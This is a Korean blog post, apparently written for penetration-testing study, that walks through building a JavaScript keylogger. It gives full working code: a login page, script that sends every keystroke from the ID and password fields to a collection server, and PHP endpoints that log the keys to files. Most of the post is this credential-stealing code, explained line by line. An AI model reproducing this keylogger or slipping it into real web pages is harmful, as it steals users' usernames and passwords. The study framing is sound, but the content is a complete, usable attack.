Almon Dev

자바스크립트로 키로거 만들기 본문

모의해킹/모의해킹

자바스크립트로 키로거 만들기

Almon 2024. 11. 7. 20:14

키로거 만들기

자바스크립트를 이용해서 아이디와 패스워드에 keydown이벤트가 발생할 때 서버로 입력한 키를 보내 기록하도록 만들었습니다.

login.html

<!DOCTYPE html>
<html lang="ko">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login</title>
        <script src="keylogger.js" defer></script>
        <link rel="stylesheet" href="style.css">
    </head>

    <body>
        <div class="container">
            <form action="" method="post">
                <input type="text" name="id" placeholder="아이디" class="id-input">
                <input type="password" name="password" placeholder="비밀번호" class="pass-input">
                <input type="submit" class="submit-btn">
            </form>
        </div>
    </body>

</html>

 

keyloger.js

const idInput = document.querySelector('.id-input');
const passInput = document.querySelector('.pass-input');

document.addEventListener('DOMContentLoaded', () => {
  idInput.addEventListener('keydown', (e) => {
    if (
      e.key !== 'Shift' &&
      e.key !== 'Alt' &&
      e.key !== 'Control' &&
      e.key !== 'Meta' &&
      e.key !== 'CapsLock'
    ) {
      const data = e.key;
      const http = new XMLHttpRequest();
      http.open(
        'GET',
        'http://192.168.0.8:80/keyloger/id.php?data=' +
          encodeURIComponent(data + '\n')
      );
      http.send();
      console.log(data);
    }
  });

  passInput.addEventListener('keydown', (e) => {
    if (
      e.key !== 'Shift' &&
      e.key !== 'Alt' &&
      e.key !== 'Control' &&
      e.key !== 'Meta' &&
      e.key !== 'CapsLock'
    ) {
      const data = e.key;
      const http = new XMLHttpRequest();
      http.open(
        'GET',
        'http://192.168.0.8:80/keyloger/pass.php?data=' +
          encodeURIComponent(data + '\n')
      );
      http.send();
      console.log(data);
    }
  });
});

 

const idInput = document.querySelector('.id-input');
const passInput = document.querySelector('.pass-input');

querySelector를 이용해서 아이디와 비밀번호를 입력하는 input 태그를 불러옵니다.

 

document.addEventListener('DOMContentLoaded', () => {
  idInput.addEventListener('keydown', (e) => {

DOMContentLoaded는 html로딩이 모두 끝났을 때 이벤트가 발생합니다.

id입력창에 키를 입력할 때( keydown) 콜백 함수를 실행합니다.

 

if (
      e.key !== 'Shift' &&
      e.key !== 'Alt' &&
      e.key !== 'Control' &&
      e.key !== 'Meta' &&
      e.key !== 'CapsLock'
    ) {
      const data = e.key;

쉬프트나 알트같은 입력값과 상관없는 키들이 아닐때 data 상수에 입력한 키를 저장합니다.

 

     const http = new XMLHttpRequest();
     http.open(
        'GET',
        'http://192.168.0.8:80/keyloger/id.php?data=' +
          encodeURIComponent(data + '\n')
      );

XMLHttpRequest객체인 http를 생성합니다. http의 open으로 GET메서드와 요청을 보낼 url을 설정합니다.

url의 파라미터 부분에 url인코딩을 한 데이터를 넣습니다.

 

      http.send();

http에 설정해둔 url로 요청을 보냅니다.

 

id.php, passwd.php

<?php
header("Access-Control-Allow-Origin: *");
if(isset($_GET['data'])){
    $data = urldecode($_GET['data']);

    $filepath = $_SERVER['DOCUMENT_ROOT']."/keyloger/id.txt";

    $file = fopen($filepath,"a");

    fwrite($file, $data);
    fclose($file);
}

?>
<?php
header("Access-Control-Allow-Origin: *");
if(isset($_GET['data'])){
    $data = urldecode($_GET['data']);

    $filepath = $_SERVER['DOCUMENT_ROOT']."/keyloger/passwd.txt";

    $file = fopen($filepath,"a");

    fwrite($file, $data);
    fclose($file);
}

?>

 

header("Access-Control-Allow-Origin: *");

CORS 에러를 방지하기 위해서 헤더를 설정해줍니다.

CORS
웹브라우저가 다른 도메인의 리소스를 요청할때 보안적인 문제를 해결하기 위한 기술입니다.
=> header("Access-Control-Allow-Origin: *");는 모든 도메인의 모든 요청을 받아들인다는 뜻입니다.
=> 특정 도메인만, 특정 메소드(GET, POST 등)만 허용할 수 있습니다.
ex) 악성 사이트에서 이용자의 세션을 탈취해 은행의 api서버에 요청을 보낼경우 api서버에서 cors를 설정해둔다면
api요청이 차단됩니다.

 

if(isset($_GET['data'])){
    $data = urldecode($_GET['data']);

get메서드로 data가 있다면 $data에 url 디코딩을 한 data의 값을 저장합니다.

 

    $filepath = $_SERVER['DOCUMENT_ROOT']."/keyloger/passwd.txt";
    $file = fopen($filepath,"a");

웹루트 디렉토리/keyloger/passwd or id.txt 경로를 $filepath에 저장합니다.

$filepath경로의 파일을 a모드로 열어서 $file에 저장합니다. a모드는 덧 붙이기 모드로 파일이 없는경우 생성하고,

파일이 있는 경우 끝으로 포인터를 옮겨 덧붙입니다.

 

    fwrite($file, $data);
    fclose($file);

전달받은 데이터를 파일에 기록하고 파일을 종료합니다.

 

마무리

 

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (Login Bypass 3)  (0) 2024.11.16
모의해킹 공부 (5주차 정리)  (1) 2024.11.15
모의해킹 공부 (4주차 강의 정리)  (2) 2024.11.07
JWT(JSON Web Token)에 대한 공부  (1) 2024.11.02
모의해킹 공부 (3주차 강의 정리)  (0) 2024.10.31
'모의해킹/모의해킹' Related Articles more